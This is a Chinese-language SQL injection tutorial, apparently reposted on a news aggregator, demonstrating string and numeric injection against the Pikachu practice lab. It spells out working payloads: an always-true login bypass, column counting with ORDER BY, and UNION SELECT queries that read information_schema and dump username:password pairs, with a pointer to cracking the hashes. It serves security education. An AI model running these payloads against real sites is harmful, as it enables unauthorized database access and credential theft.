返回顶部
首页 > 资讯 > 服务器 >SQL注入基础
  • 652
分享到

SQL注入基础

数据库服务器mysql 2023-09-18 07:09:26 652人浏览 安东尼
摘要

引言 靓仔们是否经常听到sql注入呢,那么sql注入到底是什么? 引用微软官方的语言来说: SQL 注入是一种攻击方式,在这种攻击方式中,在字符串中插入恶意代码,然后将该字符串传递到 SQL Server 的实例以进行分析和执行。 构成

引言

靓仔们是否经常听到sql注入呢,那么sql注入到底是什么?

引用微软官方的语言来说:

SQL 注入是一种攻击方式,在这种攻击方式中,在字符串中插入恶意代码,然后将该字符串传递到 SQL Server 的实例以进行分析和执行。 构成 SQL 语句的任何过程都应进行注入漏洞审阅,因为 SQL Server 将执行其接收到的所有语法有效的查询。 一个有经验的、坚定的攻击者甚至可以操作参数化数据。

那么接下来,让我们来了解一下sql注入是如何产生的。

目录

引言

1. sql注入原理

1.1 sql注入分类

1.2 sql注入流程

1.3 寻找注入点

1.4 注入提交方式

1.5 万能密码

2. SQL注入实操

2.1 寻找注入点

2.2 判断闭合方式

2.3 验证注入漏洞

2.4 判断列数及回显位

2.5 联合查询

2.5.1 查询数据库

2.5.2 *必要知识点

2.5.3 查版本信息

2.5.4 查用户

2.5.5 查表名

2.5.6 查字段名

2.5.7 查数据

3. 数字型(抓包注入)

3.1 测试注入点

3.2 联合查询

3.2.1 查表名

3.2.2 查字段名

3.2.3 查数据


1. sql注入原理

sql注入属于服务端攻击,原理是参数带入给变量时未经过滤直接带入数据库查询

sql注入与操作系统数据库类型、脚本语言类型无关,与程序员写的源代码有关

1.1 sql注入分类

sql注入可以分为数字型、字符型、搜索型、特殊闭合型、布尔盲注、时间盲注、报错注入等

此篇文章主要展示的是字符型注入和数字型注入,其他类型注入会陆续更新~

1.2 sql注入流程

我们来梳理下sql注入流程

寻找注入点-> 判断闭合方式-> 验证-> 判断列数及回显位-> 取数据

1.3 寻找注入点

一般来讲,在网站中,注入点都存在于可以与数据库交互的地方,如搜索框,登录输入框、更新、查询、删除等

那么我们找到了可能存在注入点的地方,就需要进行测试,这里采用手工测试的方式,帮助各位靓仔们更好的理解。

1.4 注入提交方式

常见的注入提交有:GET提交、POST提交、COOKIE提交

GET提交: 写在url地址栏里

POST提交:(url地址栏中看不到参数)(bp抓包 语句写在报文里,前面没有"?")(分块传输可能会绕过waf)

cookie提交: (bp抓包 语句写在报文里)

Http头(忽略不计)

1.5 万能密码

' or 1=1 其原理是使用单引号对前面的语句进行闭合,这样后面的语句就会被当作正常的sql语句解析,而or为或运算符,即使前面的字符不为真,语句也可以正常执行

2. SQL注入实操

2.1 寻找注入点

拿到一个网站,若寻找注入漏洞,第一步就是判断存在与数据库交互的地方,通常有:

登录界面

查询输入框

更新输入框

删除输入框

我们以pikachu靶场的字符型注入为例为例进行演示

首先,从搜索框中输入数据提交,观察url链接变化,若能直接看到参数,则为GET请求,用hackbar可以进行下一步,,若看不到参数,则为POST请求,使用bp抓包进行下一步

发现为GET请求,参数为?name=xx (参数为已经确定存在的数据字段,一般id使用较为广泛,在不知道参数的情况下多数用id来测试)

输入一串不存在的字母并闭合,探测是否会有报错

?参数=afhafgauf'

发现报错,则可能存在sql注入漏洞

或and 1=1、and 1=2

如果前者正常,后者报错,说明语句被带入到了数据库查询

2.2 判断闭合方式

在报错信息中,除去自己输入的内容,可以看到右边闭合方式为双引号 "

2.3 验证注入漏洞

--+在url中会被解析为 --[空格] 其作用是注释掉后面的内容

?参数=afhafgauf' or 1=1--+

此时可以看到查询出了一些数据

2.4 判断列数及回显位

根据上面爆出来的已有信息,已知了部分账号名,使用其中一个名称+order by 1,2,3,4,5...来判断最大列数及回显位(方法不止一种)

?name=vince' order by 1 --+

?name=vince' order by 2 --+

?name=vince' order by 3 --+

执行到3的时候发现没有此列,因此判断为两列

2.5 联合查询

联合查询是连接前后两条查询语句,若前面一条语句查询成功,则后面的一条语句不显示,所以把前面参数的值改为-1表示不存在,这样可以显示出后面的查询语句。

?name=-1' uNIOn select 1,2 --+

可以看到回显位是1和2 (在不是回显位的位置上进行查询是不显示结果的)

2.5.1 查询数据库

在2的位置上改为database()

?name=-1' union select 1,database() --+

可以看到当前数据库名为pikachu

2.5.2 *必要知识点

Mysql5.0以上版本中,mysql存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。

数据库中符号"."代表下一级,如mydb.user表示mydb数据库下的user表名

记录所有表名信息的表 information_schema.tables

记录所有列名信息的表 information_schema.columns

table_name 表名

column_name 列名

table_schema 数据库名

group_concat()

将相同的行组合起来,不使用此函数会导致行数过多无法显示

concat_ws(':',str1,str2)

以指定分隔符的方式将多个字符串连接为一个字符串,适用于只有一个回显位显示账号和密码的情况

分隔符不能为空,否则查出来的数据为空

查数据库版本 select version();

查数据库名字 select database();

查数据库用户 select user();

查操作系统 select @@version_compile_os;

2.5.3 查版本信息

?name=-1' union select 1,version() --+

2.5.4 查用户

?name=-1' union select 1,user() --+

2.5.5 查表名

?name=-1' union select 1,(select group_concat(table_name) from infORMation_schema.tables where table_schema=database()) --+

可以看到查询出来的表名,其中包含users用户表

2.5.6 查字段名

?name=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users') --+

从users用户表中查询字段,从而得到具体的列名,其中包含了username用户名字段和passWord密码字段

2.5.7 查数据

在回显位1上查询1

在回显位2上用concat_ws()连接user与password

?name=-1' union select 1,(select group_concat(concat_ws(':',username,password)) from users) --+

密文拿去cmd5解密即可获得信息

演示完了基本的字符型注入,下面演示一下数字型注入

3. 数字型(抓包注入)

3.1 测试注入点

数字型注入流程语句与字符型类似,其不同点是需要burpsuite抓包,在报文中提交注入语句

使用bp抓包,发现存在注入点

测试注入点,and 1--+成功执行 and 1=2报错

注入点可以利用

测试回显位 2可以,3报错

3.2 联合查询

3.2.1 查表名

3.2.2 查字段名

3.2.3 查数据

至此,基本的sql字符型注入和数字型注入就演示完毕,相信各位靓仔已经对sql注入有了一个大致的了解,那么下次我们来说一下其他类型的注入~

来源地址:https://blog.csdn.net/qq_43512091/article/details/129034245

--结束END--

本文标题: SQL注入基础

本文链接: https://lsjlt.com/news/411501.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • SQL注入基础
    引言 靓仔们是否经常听到sql注入呢,那么sql注入到底是什么? 引用微软官方的语言来说: SQL 注入是一种攻击方式,在这种攻击方式中,在字符串中插入恶意代码,然后将该字符串传递到 SQL Server 的实例以进行分析和执行。 构成...
    99+
    2023-09-18
    数据库 服务器 mysql
  • sql注入基础知识的介绍
    本篇内容介绍了“sql注入基础知识的介绍”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!什么是SQL注入(S...
    99+
    2024-04-02
  • Java SQL注入案例教程及html基础入门
    目录一,SQL注入–1,需求–2,测试–3,总结二,练习PreparedStatement–1,需求–2,测试–3,制作工具类三,HTML–1,概述–2,入门案例–3,使用工具–4,...
    99+
    2024-04-02
  • SQL 零基础入门教程
    目录一、了解 SQL二、检索数据三、排序检索数据四、过滤数据五、高级数据过滤六、用通配符进行过滤七、创建计算字段八、使用函数处理数据九、汇总数据十、分组数据十一、使用子查询十二、联结表十三、创建高级联结十四、组合查询十五、插入数据十六、更...
    99+
    2014-09-15
    SQL 零基础入门教程
  • SQL 教程-入门基础篇
    文章目录 SQL 简介SQL 语法SQL SELECT 语句SQL SELECT DISTINCT 语句SQL WHERE 子句SQL AND & OR 运算符SQL ORDER BY...
    99+
    2023-08-31
    sql 数据库 mybatis mysql
  • Spring入门基础之依赖注入
    目录一、构造器注入二、set注入三、其他方式注入(1)导入约束(2)p命名注入(3)c命名注入一、构造器注入 在前几节已经做过了详细的说明讲解,我们先跳过 二、set注入 依赖注入 ...
    99+
    2024-04-02
  • sql 基础
    去除数据库登录界面的所有用户信息 C:UsersasusAppDataRoamingMicrosoftSQL Server Management Studio14.0SqlStudio.bin 查询姓名中第二个字与第三个字相同: selec...
    99+
    2015-02-24
    sql 基础
  • 基于约束的SQL注入
    # 漏洞原理 在谈论这种攻击手法之前,首先我们需要了解几个关键知识点。 1、在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说,‘nocoriander’和‘nocoriander    ’几乎是等效的 例如下列代码,和使用...
    99+
    2016-01-15
    基于约束的SQL注入 数据库入门 数据库基础教程 数据库 mysql
  • SQL 入门教程:数据库基础
    目录一、数据库二、表三、列和数据类型四、行五、主键请参阅 目录汇总:SQL 入门教程:面向萌新小白的零基础入门教程 你正在读本 SQL 教程,这表明你需要以某种方式与数据库打交道。SQL 正是用来实现这一任务的语言,因此在学习 SQL 之...
    99+
    2017-01-19
    SQL 入门教程:数据库基础
  • PHP入门基础之注释的写法
    目录1 什么是注释1.1 注释的目的1.2 注释的格式2 PHP 的注释格式2.1 行注释2.2 多行注释3 小结1 什么是注释 注释就是对代码的解释和说明,其目的是让人们能够更加轻...
    99+
    2024-04-02
  • 从sql注入谈运维基础建设 - 使用 sqlmap 根据变量位置定点注入 restful api
    sqlmap 是一款强劲自动化的 sql 注入工具, 使用 python 开发, 支持 python 2/3。 RESTful API 规则几乎是当前开发执行的默认规范。 在 restful 接口中, 常常将变量位置放置在 url 中。例如...
    99+
    2016-07-12
    从sql注入谈运维基础建设 - 使用 sqlmap 根据变量位置定点注入 restful api 数据库入门 数据库基础教程 数据库 mysql
  • sql注入基本原理是什么
    这篇文章主要介绍了sql注入基本原理是什么,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。SQL注入基本原理WEB技术发展日新月异,但是徒手拼...
    99+
    2024-04-02
  • SQL语言基础
    1.定义 对数据库进行查询和修改操作的语言叫做SQL(Structured Query Language,结构化查询语言) SQL是一种数据库查询和程序设计语言,用于存储数据以及查询、更新和管理关系数据库系统; 与其他程序设计语言不同的是,...
    99+
    2020-08-11
    SQL语言基础 数据库入门 数据库基础教程 数据库 mysql
  • SQL 基础整理
    SQL语句执行顺序 From 表连接 on连接条件,形成新的虚拟表 where 筛选条件 group by 生成新的结果集合  group by 分组列表 having 分组后筛选 select...
    99+
    2020-06-11
    SQL 基础整理
  • SQL理论基础
    一、概述1.SQL定义及历史SQL:Structured Query Language,结构化查询语言。是关系数据库的标准语言;SQL功能不仅是查询。几乎所有关系型数据库管理系统软件都支持SQL。许多软件厂...
    99+
    2024-04-02
  • SQL注入
                     &...
    99+
    2024-04-02
  • sql注入 --显错注入
    前提知识 数据库:就是将大量数据把保存起来,通过计算机加工而成的可以高效访问数据库的数据集合数据库结构:库:就是一堆表组成的数据集合表:类似 Excel,由行和列组成的二维表字段:表中的列称为字段记录:表中的行称为记录单元格:行和列相交的地...
    99+
    2021-01-16
    sql注入 --显错注入 数据库入门 数据库基础教程 数据库 mysql
  • Spring配置与依赖注入基础详解
    目录1.Spring配置1.1.别名1.2.Bean的配置1.3.import2.依赖注入(DI)2.1.构造器注入2.2.Set 注入(重点)2.3.扩展的注入2.4.Bean的作...
    99+
    2022-11-13
    Spring 配置 Spring 依赖注入
  • sql注入之堆叠注入
    一、堆叠注入的原理 mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔 开,而堆叠注入其实就是通过结束符来执行多条sql语句 比如我们在mysql的命令行...
    99+
    2023-09-09
    sql mysql php 信息安全 网络安全
  • 前端基础入门四(JavaScript基础)
    目标:掌握编程的基本思维掌握编程的基本语法我们先来学习JavaScript基础,后续会讲解JavaScript高级。重点内容变量的声明及使用数据类型类型转换运算符JavaScript介绍JavaScript是什么JavaScript是一种运...
    99+
    2023-06-03
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作